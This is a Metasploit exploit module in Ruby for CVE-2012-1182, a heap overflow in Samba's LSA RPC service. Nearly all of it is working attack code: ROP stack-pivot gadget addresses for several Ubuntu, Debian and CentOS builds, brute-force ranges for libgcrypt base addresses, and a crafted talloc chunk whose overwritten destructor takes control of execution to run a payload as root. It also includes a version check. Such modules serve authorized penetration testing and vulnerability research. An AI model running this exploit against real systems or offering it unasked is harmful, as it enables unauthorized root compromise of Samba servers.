##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB::Client
  include Msf::Exploit::RopDb
  include Msf::Exploit::Brute

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Samba SetInformationPolicy AuditEventsInfo Heap Overflow',
      'Description'    => %q{
          This module triggers a vulnerability in the LSA RPC service of the Samba daemon
        because of an error on the PIDL auto-generated code. Making a specially crafted
        call to SetInformationPolicy to set a PolicyAuditEventsInformation allows to
        trigger a heap overflow and finally execute arbitrary code with root privileges.

        The module uses brute force to guess the stackpivot/rop chain or the system()
        address and redirect flow there in order to bypass NX. The start and stop addresses
        for brute forcing have been calculated empirically. On the other hand the module
        provides the StartBrute and StopBrute which allow the user to configure his own
        addresses.
      },
      'Author'         =>
        [
          'Unknown', # Vulnerability discovery
          'blasty', # Exploit
          'mephos', # Metasploit module
          'sinn3r', # Metasploit module
          'juan vazquez' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2012-1182'],
          ['OSVDB', '81303'],
          ['BID', '52973'],
          ['ZDI', '12-069']
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 600,
        },
      'Platform'      => %w{ linux unix },
      # smbd process is killed soon after being exploited, need fork with meterpreter
      'DefaultOptions' => { "PrependSetreuid" => true, "PrependSetregid" => true, "PrependFork" => true, "AppendExit" => true, "WfsDelay" => 5},
      'Targets'        =>
        [
          ['2:3.5.11~dfsg-1ubuntu2 on Ubuntu Server 11.10',
            {
              'Arch' => ARCH_X86,
              'Offset' => 0x11c0,
              'Ropname' => 'Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2',
              'Stackpivot' => 0x0004393c, # xchg eax, esp ; ret in /lib/i386-linux-gnu/libgcrypt.so.11.7.0
              'Bruteforce' =>
                {
                  'Start' => { 'libgcrypt_base' => 0xb67f1000 },
                  'Stop'  => { 'libgcrypt_base' => 0xb69ef000 },
                  'Step'  => 0x1000
                }
            }
          ],
          ['2:3.5.8~dfsg-1ubuntu2 on Ubuntu Server 11.10',
            {
              'Arch' => ARCH_X86,
              'Offset' => 0x11c0,
              'Ropname' => 'Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2',
              'Stackpivot' => 0x0004393c, # xchg eax, esp ; ret in /lib/i386-linux-gnu/libgcrypt.so.11.7.0
              'Bruteforce' =>
                {
                  'Start' => { 'libgcrypt_base' => 0xb68d9000 },
                  'Stop'  => { 'libgcrypt_base' => 0xb6ad7000 },
                  'Step'  => 0x1000
                }
            }
          ],
          ['2:3.5.8~dfsg-1ubuntu2 on Ubuntu Server 11.04',
            {
              'Arch' => ARCH_X86,
              'Offset' => 0x11c0,
              'Ropname' => 'Ubuntu 11.04 / 2:3.5.8~dfsg-1ubuntu2',
              # when stack pivoting, we control dword [esi] (field "next" in talloc chunk), ecx and [esp+4] point to shellcode
              'Stackpivot' => 0x0006af03, # pop ecx ; jmp dword [esi]  in /lib/i386-linux-gnu/libgcrypt.so.11.6.0
              # we jump on "pop ecx, jmp dword [esi] to remove 4 bytes from the stack, then jump on pop esp.. gadget
              # to effectively stack pivot
              'Stackpivot_helper' => 0x00054e87, #pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret  ;
              'Bruteforce' =>
                {
                  'Start' => { 'libgcrypt_base' => 0xb6973000 },
                  'Stop'  => { 'libgcrypt_base' => 0xb6b71000 },
                  'Step'  => 0x1000
                }
            }
          ],
          # default version when installing 11.04 is 3.5.8 , 3.5.4 was PROPOSED on CD months before release date
          #['2:3.5.4~dfsg-1ubuntu8 on Ubuntu 11.04',
          #	{
          #		'Arch' => ARCH_CMD,
          #		'Offset' => 0x11c0,
          #		'Ropname' => 'Ubuntu 11.04 / 2:3.5.4~dfsg-1ubuntu8',
          #		'Stackpivot' => 0,
          #		'Bruteforce' =>
          #		{
          #			# The start should be 0x950 aligned, and then step 0x1000.
          #			'Start' => { 'Ret' => 0x00230950 },
          #			'Stop'  => { 'Ret' => 0x22a00950 },
          #			'Step'  => 0x1000
          #		}
          #	}
          #],
          ['2:3.5.4~dfsg-1ubuntu8 on Ubuntu Server 10.10',
            {
              'Arch' => ARCH_X86,
              'Offset' => 0x11c0,
              'Ropname' => 'Ubuntu 10.10 / 2:3.5.4~dfsg-1ubuntu8',
              'Stackpivot' => 0x0003e4bc, #xchg eax, esp ; ret in libgcrypt.so.11.5.3
              'Bruteforce' =>
                {
                  'Start' => { 'libgcrypt_base' => 0xb694f000 },
                  'Stop'  => { 'libgcrypt_base' => 0xb6b4d000 },
                  'Step'  => 0x1000
                }
            }
          ],
          ['2:3.5.6~dfsg-3squeeze6 on Debian Squeeze',
            {
              'Arch' => ARCH_X86,
              'Offset' => 0x11c0,
              'Ropname' => 'Debian Squeeze / 2:3.5.6~dfsg-3squeeze6',
              'Stackpivot' => 0x0003e30c, #xchg eax, esp ; ret in libgcrypt.so.11.5.3
              'Bruteforce' =>
                {
                  'Start' => { 'libgcrypt_base' => 0xb6962000 },
                  'Stop'  => { 'libgcrypt_base' => 0xb6a61000 },
                  'Step'  => 0x1000
                }
            }
          ],
          ['3.5.10-0.107.el5 on CentOS 5',
            {
              'Arch' => ARCH_X86,
              'Offset' => 0x11c0,
              'Ropname' => '3.5.10-0.107.el5 on CentOS 5',
              'Stackpivot' => 0x0006ad7e, #xchg eax, esp ; xchg eax, ebx ; add eax, 0xCB313435 ; or ecx, eax ; ret in libgcrypt.so.11.5.2
              'Bruteforce' =>
                {
                  'Start' => { 'libgcrypt_base' => 0x0037c000 },
                  'Stop'  => { 'libgcrypt_base' => 0x09e73000 },
                  'Step'  => 0x1000
                }
            }
          ]

        ],
      'DisclosureDate' => '2012-04-10',
      'DefaultTarget'  => 0
      ))

    register_options([
      OptInt.new("StartBrute", [ false, "Start Address For Brute Forcing" ]),
      OptInt.new("StopBrute", [ false, "Stop Address For Brute Forcing" ])
    ])

    deregister_options('SMB::ProtocolVersion')
  end

  def exploit
    if target.bruteforce?
      bf = target.bruteforce

      if datastore['StartBrute'] and datastore['StartBrute'] > 0
        bf.start_addresses['libgcrypt_base'] = datastore['StartBrute']
      end

      if datastore['StopBrute'] and datastore['StopBrute'] > 0
        bf.stop_addresses['libgcrypt_base'] = datastore['StopBrute']
      end

      if bf.start_addresses['libgcrypt_base'] > bf.stop_addresses['libgcrypt_base']
        raise ArgumentError, "StartBrute should not be larger than StopBrute"
      end
    end
    super
  end

  def brute_exploit(target_addrs)
    print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['libgcrypt_base'])
    datastore['DCERPC::fake_bind_multi'] = false
    datastore['DCERPC::max_frag_size'] = 4248
    datastore['DCERPC::smb_pipeio'] = 'trans'
    datastore['DCERPC::ReadTimeout'] = 3

    pipe = "lsarpc"

    vprint_status('Use Rex client (SMB1 only) since this module is not compatible with RubySMB client')
    connect(versions: [1])
    smb_login()

    handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
    dcerpc_bind(handle)
    dcerpc.socket.mode = 'rw'
    # revert for other exploits
    datastore['DCERPC::smb_pipeio'] = 'rw'

    cmd = ";;;;" # padding
    helper = 0
    if target['Arch'] == ARCH_CMD
      cmd << "#{payload.encoded}\x00" # system argument
      tmp = cmd * (816/cmd.length)
      tmp << "\x00"*(816-tmp.length)
      ret_addr =  addr
    elsif target['Arch'] == ARCH_X86
      cmd << generate_rop_payload('samba', payload.encoded,{'target'=>target['Ropname'], 'base'=> target_addrs['libgcrypt_base'] })
      tmp = cmd
      tmp << "\x00"*(816-tmp.length)
      ret_addr = target_addrs['libgcrypt_base']+target['Stackpivot']
      # will help in stack pivot when it's not eax pointing to shellcode
      if target['Stackpivot_helper']
        helper = target_addrs['libgcrypt_base']+target['Stackpivot_helper']
      end
    end

    stub = "X" * 20

    stub << NDR.short(2)     # level
    stub << NDR.short(2)     # level 2
    stub << NDR.long(1)      # auditing mode
    stub << NDR.long(1)      # ptr
    stub << NDR.long(100000) # r-> count
    stub << NDR.long(20)     # array size
    stub << NDR.long(0)
    stub << NDR.long(100)
    stub << rand_text_alpha(target['Offset'])
    # Crafted talloc chunk
    #stub << 'A' * 8                       # next, prev
    stub << NDR.long(helper) + 'A'*4        # next, prev
    stub << NDR.long(0) + NDR.long(0)     # parent, child
    stub << NDR.long(0)                   # refs
    #		stub << NDR.long(target_addrs['Ret']) # destructor # will become EIP
    stub << NDR.long(ret_addr) # destructor # will become EIP
    stub << NDR.long(0)                   # name
    stub << "AAAA"                        # size
    stub << NDR.long(0xe8150c70)          # flags
    stub << "AAAABBBB"
    stub << tmp # pointer to tmp+4 in $esp
    stub << rand_text(32632)
    stub << rand_text(62000)

    begin
      call(dcerpc, 0x08, stub)
    rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
    rescue Rex::Proto::DCERPC::Exceptions::Fault
      print_error('Server is most likely patched...')
    rescue Timeout::Error
      print_status("Timeout")
    rescue Rex::Proto::SMB::Exceptions::LoginError
      print_status("Rex::Proto::SMB::Exceptions::LoginError")
    rescue => e
      if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
        print_status('Server disconnected, this is expected')
      end
    end
    handler()
    disconnect()
  end

  def check
    begin
      vprint_status('Connect with SMB1 for the check method, since it needs native_lm info')
      connect(versions: [1])
      smb_login()
      disconnect()

      version = smb_peer_lm().scan(/Samba (\d\.\d.\d*)/).flatten[0]
      minor   = version.scan(/\.(\d*)$/).flatten[0].to_i
      vprint_status("Version found: #{version}")

      return Exploit::CheckCode::Appears if version =~ /^3\.4/ and minor < 16
      return Exploit::CheckCode::Appears if version =~ /^3\.5/ and minor < 14
      return Exploit::CheckCode::Appears if version =~ /^3\.6/ and minor < 4

      return Exploit::CheckCode::Safe

    rescue ::Exception
      return CheckCode::Unknown
    end
  end

  # Perform a DCE/RPC Function Call
  def call(dcerpc, function, data, do_recv = true)

    frag_size = data.length
    if dcerpc.options['frag_size']
      frag_size = dcerpc.options['frag_size']
    end
    object_id = ''
    if dcerpc.options['object_call']
      object_id = dcerpc.handle.uuid[0]
    end
    if options['random_object_id']
      object_id = Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16))
    end

    call_packets = make_request(function, data, frag_size, dcerpc.context, object_id)
    call_packets.each { |packet|
      write(dcerpc, packet)
    }

    return true if not do_recv

    raw_response = ''

    begin
      raw_response = dcerpc.read()
    rescue ::EOFError
      raise Rex::Proto::DCERPC::Exceptions::NoResponse
    end

    if (raw_response == nil or raw_response.length == 0)
      raise Rex::Proto::DCERPC::Exceptions::NoResponse
    end


    dcerpc.last_response = Rex::Proto::DCERPC::Response.new(raw_response)

    if dcerpc.last_response.type == 3
      e = Rex::Proto::DCERPC::Exceptions::Fault.new
      e.fault = dcerpc.last_response.status
      raise e
    end

    dcerpc.last_response.stub_data
  end

  # Used to create standard DCERPC REQUEST packet(s)
  def make_request(opnum=0, data="", size=data.length, ctx=0, object_id = '')

    opnum = opnum.to_i
    size = size.to_i
    ctx   = ctx.to_i

    chunks, frags = [], []
    ptr = 0

    # Break the request into fragments of 'size' bytes
    while ptr < data.length
      chunks.push( data[ ptr, size ] )
      ptr += size
    end

    # Process requests with no stub data
    if chunks.length == 0
      frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, '', ctx, object_id) )
      return frags
    end

    # Process requests with only one fragment
    if chunks.length == 1
      frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, chunks[0], ctx, object_id) )
      return frags
    end

    # Create the first fragment of the request
    frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(1, opnum, chunks.shift, ctx, object_id) )

    # Create all of the middle fragments
    while chunks.length != 1
      frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(0, opnum, chunks.shift, ctx, object_id) )
    end

    # Create the last fragment of the request
    frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(2, opnum, chunks.shift, ctx, object_id) )

    return frags
  end

  # Write data to the underlying socket
  def write(dcerpc, data)
    dcerpc.socket.write(data)
    data.length
  end
end

